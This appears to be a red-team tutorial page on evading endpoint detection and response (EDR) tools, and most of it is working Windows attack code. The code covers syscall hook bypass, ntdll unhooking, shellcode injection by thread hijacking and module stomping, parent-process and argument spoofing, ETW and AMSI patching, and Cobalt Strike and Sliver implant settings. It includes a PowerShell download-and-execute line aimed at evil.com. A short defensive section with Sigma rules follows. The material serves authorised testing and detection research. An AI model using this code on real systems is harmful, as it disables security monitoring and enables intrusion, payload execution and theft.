
EDR Evasion Techniques in Modern Red Team Operations
EDR evasion techniques including API hooking bypass, AMSI evasion, ETW tampering, memory injection, and advanced code obfuscation strategies.
Introduction
Modern Endpoint Detection and Response (EDR) solutions represent one of the most significant challenges for red team operations and adversary simulation. EDRs employ multiple detection layers including userland hooking, kernel-level monitoring, behavioral analysis, and machine learning to identify malicious activity.
Understanding EDR architecture and evasion techniques is essential for realistic security assessments. While defenders deploy EDR as a critical security control, red teams must demonstrate the limitations of these solutions and help organizations understand their true security posture.
Ethical Use Only
The techniques described here are for authorized security assessments, red team engagements, and defensive research only. Unauthorized use against systems you don't own or have explicit permission to test is illegal and unethical.
EDR Detection Mechanisms
Userland Hooking
EDRs inject DLLs into processes to hook Windows API functions:
- Inline hooking: Modifying function prologues to redirect execution
- IAT hooking: Modifying Import Address Table entries
- EAT hooking: Modifying Export Address Table entries
Common hooked APIs:
VirtualAlloc,VirtualProtect,VirtualAllocExCreateRemoteThread,QueueUserAPCWriteProcessMemory,ReadProcessMemoryCreateProcess,CreateProcessWithTokenWNtCreateThreadEx,NtAllocateVirtualMemory
Kernel-Mode Monitoring
- Kernel callbacks: Object creation, process/thread creation, registry operations
- Minifilter drivers: File system operations
- Network filter drivers: Network traffic analysis
- ETW (Event Tracing for Windows): System event monitoring
Behavioral Analysis
- Suspicious API call patterns
- Parent-child process relationships
- Command-line argument anomalies
- Memory allocation patterns
- Code injection signatures
Impact
Successful EDR evasion enables:
- Undetected post-exploitation: Maintaining access without triggering alerts
- Credential harvesting: Extracting passwords and tokens stealthily
- Lateral movement: Moving through networks without detection
- Data exfiltration: Stealing sensitive information unnoticed
- Persistence establishment: Installing backdoors that survive reboots
Understanding these techniques helps both red teams validate security controls and blue teams identify detection gaps.
Direct Syscall Techniques
Why Direct Syscalls?
EDRs hook userland APIs (ntdll.dll) but cannot hook system calls directly without kernel drivers. Direct syscalls bypass userland hooks entirely.
Manual Syscall Implementation
// Direct syscall example for NtAllocateVirtualMemory
#include <Windows.h>
#include <stdio.h>
// Syscall number for NtAllocateVirtualMemory (Windows 10 20H2)
#define SYS_NT_ALLOCATE_VIRTUAL_MEMORY 0x18
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Assembly stub for direct syscall
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_Syscall(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect)
{
__asm {
mov r10, rcx
mov eax, SYS_NT_ALLOCATE_VIRTUAL_MEMORY
syscall
ret
}
}
int main() {
PVOID baseAddress = NULL;
SIZE_T regionSize = 0x1000;
// Direct syscall - bypasses userland hooks
NTSTATUS status = NtAllocateVirtualMemory_Syscall(
GetCurrentProcess(),
&baseAddress,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (status == 0) {
printf("Allocated memory at: %p\n", baseAddress);
}
return 0;
}SysWhispers Framework
Automated syscall generation:
# Clone SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2.git
cd SysWhispers2
# Generate syscall stubs
python syswhispers.py -a x64 -o syscalls NtAllocateVirtualMemory NtWriteVirtualMemory NtProtectVirtualMemory
# Outputs: syscalls.h, syscalls.c, syscalls.asm// Usage in your project
#include "syscalls.h"
int main() {
PVOID baseAddress = NULL;
SIZE_T regionSize = 0x1000;
// Use generated syscall
NtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
return 0;
}Hell's Gate / Halo's Gate
Dynamic syscall number resolution:
// Hell's Gate technique to find syscall number
DWORD FindSyscallNumber(LPCSTR functionName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* funcAddress = (BYTE*)GetProcAddress(ntdll, functionName);
// Check for hook (jmp instruction: 0xE9)
if (funcAddress[0] == 0xE9) {
// Function is hooked, use Halo's Gate to find nearby syscall
return FindNearbySyscall(funcAddress);
}
// Parse syscall number from function prologue
// mov r10, rcx (4C 8B D1)
// mov eax, XX (B8 XX 00 00 00)
if (funcAddress[0] == 0x4C && funcAddress[1] == 0x8B && funcAddress[2] == 0xD1) {
if (funcAddress[3] == 0xB8) {
return *(DWORD*)(funcAddress + 4);
}
}
return 0;
}API Unhooking
Manual Unhooking
#include <Windows.h>
#include <stdio.h>
BOOL UnhookNtdll() {
// Get base address of hooked ntdll
HMODULE hookedNtdll = GetModuleHandleA("ntdll.dll");
// Map a fresh copy from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get .text section
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)cleanNtdll + dosHeader->e_lfanew);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)(
(BYTE*)ntHeaders + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))
);
if (strcmp((char*)section->Name, ".text") == 0) {
// Remove memory protection
DWORD oldProtect;
VirtualProtect((BYTE*)hookedNtdll + section->VirtualAddress,
section->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
// Copy clean .text section over hooked one
memcpy((BYTE*)hookedNtdll + section->VirtualAddress,
(BYTE*)cleanNtdll + section->VirtualAddress,
section->Misc.VirtualSize);
// Restore protection
VirtualProtect((BYTE*)hookedNtdll + section->VirtualAddress,
section->Misc.VirtualSize,
oldProtect, &oldProtect);
break;
}
}
CloseHandle(hMapping);
CloseHandle(hFile);
return TRUE;
}Perun's Fart (Suspend Threads, Unhook, Resume)
// Suspend all threads except current
BOOL SuspendAllThreads() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD currentThreadId = GetCurrentThreadId();
if (Thread32First(snapshot, &te)) {
do {
if (te.th32OwnerProcessID == GetCurrentProcessId() &&
te.th32ThreadID != currentThreadId) {
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
SuspendThread(hThread);
CloseHandle(hThread);
}
} while (Thread32Next(snapshot, &te));
}
CloseHandle(snapshot);
return TRUE;
}
// Full unhook routine
BOOL PerunsFart() {
SuspendAllThreads();
UnhookNtdll();
ResumeAllThreads();
return TRUE;
}Process Injection Evasion
Thread Hijacking
// Enumerate threads in target process
DWORD GetTargetThreadId(DWORD pid) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(snapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
CloseHandle(snapshot);
return te.th32ThreadID;
}
} while (Thread32Next(snapshot, &te));
}
CloseHandle(snapshot);
return 0;
}
// Hijack thread for code execution
BOOL ThreadHijacking(DWORD pid, LPVOID shellcode, SIZE_T shellcodeSize) {
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Allocate memory in target
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write shellcode
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
// Get thread handle
DWORD threadId = GetTargetThreadId(pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
// Suspend thread
SuspendThread(hThread);
// Get thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
// Modify RIP to point to shellcode
ctx.Rip = (DWORD64)remoteBuffer;
SetThreadContext(hThread, &ctx);
// Resume thread
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}Module Stomping
// Load legitimate module, overwrite with payload
BOOL ModuleStomping(LPCWSTR modulePath, LPVOID payload, SIZE_T payloadSize) {
// Load target DLL
HMODULE hModule = LoadLibraryW(modulePath);
// Get module info
MODULEINFO mi;
GetModuleInformation(GetCurrentProcess(), hModule, &mi, sizeof(mi));
// Change protection
DWORD oldProtect;
VirtualProtect(mi.lpBaseOfDll, payloadSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// Overwrite with payload
memcpy(mi.lpBaseOfDll, payload, payloadSize);
// Execute from module base
((void(*)())mi.lpBaseOfDll)();
return TRUE;
}Fiber Execution
// Execute payload via fibers (less suspicious than threads)
VOID WINAPI FiberProc(LPVOID lpParam) {
// Shellcode execution
((void(*)())lpParam)();
}
BOOL FiberExecution(LPVOID shellcode) {
// Convert thread to fiber
LPVOID mainFiber = ConvertThreadToFiber(NULL);
// Create fiber for shellcode
LPVOID shellcodeFiber = CreateFiber(0, FiberProc, shellcode);
// Switch to shellcode fiber
SwitchToFiber(shellcodeFiber);
// Cleanup
DeleteFiber(shellcodeFiber);
ConvertFiberToThread();
return TRUE;
}Memory-Based Evasion
Sleep Obfuscation (Ekko Technique)
// Encrypt stack and heap during sleep
BOOL Ekko(DWORD sleepTime) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
// Create suspended thread
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RtlCaptureContext,
&ctx, CREATE_SUSPENDED, NULL);
// Create event for synchronization
HANDLE hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
// Create timer queue
HANDLE hTimer = CreateTimerQueueTimer(&hTimer, NULL,
(WAITORTIMERCALLBACK)SetEvent,
hEvent, sleepTime, 0,
WT_EXECUTEINTIMERTHREAD);
// Encrypt current stack and heap
EncryptMemoryRegions();
// Wait for timer
WaitForSingleObject(hEvent, INFINITE);
// Decrypt memory
DecryptMemoryRegions();
// Cleanup
DeleteTimerQueueTimer(NULL, hTimer, NULL);
CloseHandle(hEvent);
CloseHandle(hThread);
return TRUE;
}FOLIAGE (Stack Spoofing)
// Spoof call stack to hide malicious origin
BOOL FakeCallStack() {
// Create fake return addresses
PVOID fakeReturnAddrs[] = {
GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW"),
GetProcAddress(GetModuleHandleA("kernelbase.dll"), "GetFileSize"),
// Add more legitimate functions
};
// Modify stack to include fake return addresses
// Implementation varies by architecture
// ...
return TRUE;
}Behavioral Evasion
Parent Process ID Spoofing
#include <Windows.h>
BOOL SpawnWithSpoofedPPID(DWORD parentPid, LPCWSTR application) {
// Initialize structures
STARTUPINFOEXW si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
// Prepare attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attributeSize
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// Open parent process
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
// Set parent process attribute
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
// Create process with spoofed parent
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
CreateProcessW(application, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
// Cleanup
CloseHandle(hParent);
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
return TRUE;
}Command-Line Argument Spoofing
// Create process with fake arguments, patch with real ones
BOOL SpawnWithFakeArgs() {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Create with fake benign arguments
CreateProcessA(NULL, "powershell.exe -NoProfile -NonInteractive",
NULL, NULL, FALSE, CREATE_SUSPENDED,
NULL, NULL, &si, &pi);
// Find PEB
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
// Read RTL_USER_PROCESS_PARAMETERS
PVOID params;
ReadProcessMemory(pi.hProcess,
(BYTE*)pbi.PebBaseAddress + offsetof(PEB, ProcessParameters),
¶ms, sizeof(PVOID), NULL);
// Overwrite CommandLine with real malicious command
UNICODE_STRING newCmdLine;
RtlInitUnicodeString(&newCmdLine, L"powershell.exe -Command \"IEX((new-object net.webclient).downloadstring('http://evil.com/shell'))\"");
WriteProcessMemory(pi.hProcess, (BYTE*)params + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine),
&newCmdLine, sizeof(UNICODE_STRING), NULL);
// Resume process
ResumeThread(pi.hThread);
return TRUE;
}ETW Patching
// Disable Event Tracing for Windows
BOOL PatchETW() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
// Patch with "ret" instruction (0xC3)
BYTE patch[] = { 0xC3 };
DWORD oldProtect;
VirtualProtect(etwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(etwEventWrite, patch, sizeof(patch));
VirtualProtect(etwEventWrite, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}AMSI Bypass
# PowerShell AMSI bypass techniques
# Method 1: Reflection
$a = [Ref].Assembly.GetTypes();
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c = $b
}
};
$d = $c.GetFields('NonPublic,Static');
ForEach($e in $d) {
if ($e.Name -like "*Context") {
$f = $e
}
};
$g = $f.GetValue($null);
[IntPtr]$ptr = $g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Method 2: Memory patching in C#
using System;
using System.Runtime.InteropServices;
public class AmsiBypass {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Bypass() {
IntPtr hModule = LoadLibrary("amsi.dll");
IntPtr dllFunctionAddress = GetProcAddress(hModule, "Amsi" + "Scan" + "Buffer");
uint oldProtect;
VirtualProtect(dllFunctionAddress, (UIntPtr)5, 0x40, out oldProtect);
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Marshal.Copy(patch, 0, dllFunctionAddress, patch.Length);
}
}Tool-Specific Evasion
Cobalt Strike Malleable C2
# Malleable C2 profile for EDR evasion
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
header "Accept-Language" "en-US,en;q=0.9";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Server" "nginx/1.18.0";
output {
base64url;
print;
}
}
}
http-post {
set uri "/api/v1/telemetry";
client {
header "Content-Type" "application/json";
id {
base64url;
prepend "id=";
header "Cookie";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
print;
}
}
}
# Process injection configuration
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16700";
set startrwx "false";
set userwx "false";
execute {
CreateThread "ntdll.dll!RtlUserThreadStart";
NtQueueApcThread;
CreateRemoteThread;
}
}Sliver C2 OPSEC
# Generate Sliver implant with evasion
# Disable debug symbols
# Use custom obfuscation
# Enable SGN encoding
sliver > generate --mtls attacker.com --os windows --arch amd64 \
--skip-symbols --evasion --format shellcode \
--save /tmp/implant.binDetection Bypass Validation
Check for EDR Presence
# PowerShell EDR detection script
$edrProcesses = @(
"MsMpEng", # Windows Defender
"SenseNdr", # Windows Defender ATP
"CylanceSvc", # Cylance
"CSFalconService", # CrowdStrike
"cb", # Carbon Black
"elastic-agent", # Elastic EDR
"SentinelAgent" # SentinelOne
)
Get-Process | Where-Object { $edrProcesses -contains $_.ProcessName }// C implementation
BOOL CheckForEDR() {
const char* edrDlls[] = {
"cylance_dlls",
"crowdstrike_dlls",
"carbon_black_dlls",
"sentinel_one_dlls"
};
for (int i = 0; i < sizeof(edrDlls)/sizeof(edrDlls[0]); i++) {
if (GetModuleHandleA(edrDlls[i])) {
return TRUE; // EDR detected
}
}
return FALSE;
}Test Evasion Effectiveness
# Use red team simulation frameworks
# Atomic Red Team
git clone https://github.com/redcanaryco/atomic-red-team.git
cd atomic-red-team
Invoke-AtomicTest T1055 # Process Injection
# Check if EDR detectedDefense and Detection
Monitoring for Evasion Techniques
# Sigma rule for direct syscalls
title: Direct Syscall Detection via Module Load
status: experimental
detection:
selection:
EventID: 7 # Module loaded
ImageLoaded|endswith:
- '\syscall_stub.dll'
- '\dinvoke.dll'
condition: selection
---
# Sigma rule for NTDLL unhooking
title: NTDLL Unhooking Detected
detection:
selection:
EventID: 8 # Create remote thread
TargetImage|endswith: '\ntdll.dll'
condition: selectionKernel-Level Monitoring
- Use kernel callbacks that can't be bypassed from userland
- Deploy hypervisor-based security (HyperGuard, HVCI)
- Enable memory integrity features (Windows 10/11)
- Implement driver signature enforcement
Behavioral Analytics
- Detect anomalous parent-child process relationships
- Monitor for unusual memory allocation patterns
- Track suspicious API call sequences
- Alert on uncommon DLL loads
References
- MITRE ATT&CK: T1562.001 - Impair Defenses: Disable or Modify Tools
- MITRE ATT&CK: T1055 - Process Injection
- SysWhispers2 GitHub Repository
- Outflank Blog: EDR Internals
- MDSec: Bypassing User-Mode Hooks
Next Steps
For red team operations:
- Test evasion techniques in controlled lab environments before deployments
- Combine multiple techniques for defense-in-depth evasion
- Stay updated on latest EDR detection mechanisms and bypasses
- Document effectiveness of techniques against specific EDR solutions
- Review related offensive security topics:
- BYOVD Attacks
- Process injection techniques
- Credential harvesting methods
For blue team defense:
- Deploy kernel-level protections that can't be bypassed from userland
- Implement behavioral detection rather than signature-based only
- Enable advanced features: HVCI, memory integrity, driver signature enforcement
- Monitor for evasion indicators: syscalls, unhooking attempts, suspicious memory patterns
- Conduct purple team exercises to validate detection capabilities
Takeaway: EDR evasion is an arms race between attackers and defenders. Understanding these techniques helps red teams conduct realistic assessments while enabling blue teams to identify detection gaps and implement more robust controls. Make EDR testing and validation a continuous process in your security program.
Last updated on
Docker Container Escape Techniques
Docker container escape techniques including privileged containers, exposed Docker sockets, kernel exploits, and misconfiguration exploitation methods.
Tools
As a Offensive Security engineer, I rely on a curated set of tools to perform comprehensive security assessments across networks, web applications, and systems. This section provides a categorized overview of the tools I regularly use during red teaming, vulnerability assessments, and exploit development.